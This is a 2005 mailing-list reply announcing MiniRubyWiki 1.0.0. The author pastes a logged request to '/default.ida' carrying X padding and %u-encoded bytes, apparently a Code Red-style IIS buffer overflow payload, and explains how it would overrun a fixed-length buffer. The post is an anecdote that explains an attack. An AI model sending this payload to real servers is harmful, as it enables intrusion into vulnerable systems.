From: Phlip <phlip_cpp@...>
Date: 2005-04-01T12:44:45+09:00
Subject: Re: MiniRubyWiki 1.0.0

> A robust, full-featured, and installable MRW is now here:
>
>     http://rubyforge.org/projects/minirubywiki

And here's an amusing anecdote. Something on the 'net just tried to crack my
MRW!

fetching:
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
XXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7
801%
u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Something tried to fetch that URI. If I were instead running the "right"
server, built with fix-length strings, the stuff on the end would have
overrun the string buffer and fallen as opcodes into my server's address
space. Then they'd run when my server returned to their address.

What a world...

> -- 
>   Phlip
>   http://www.c2.com/cgi/wiki?BroadbandFeedback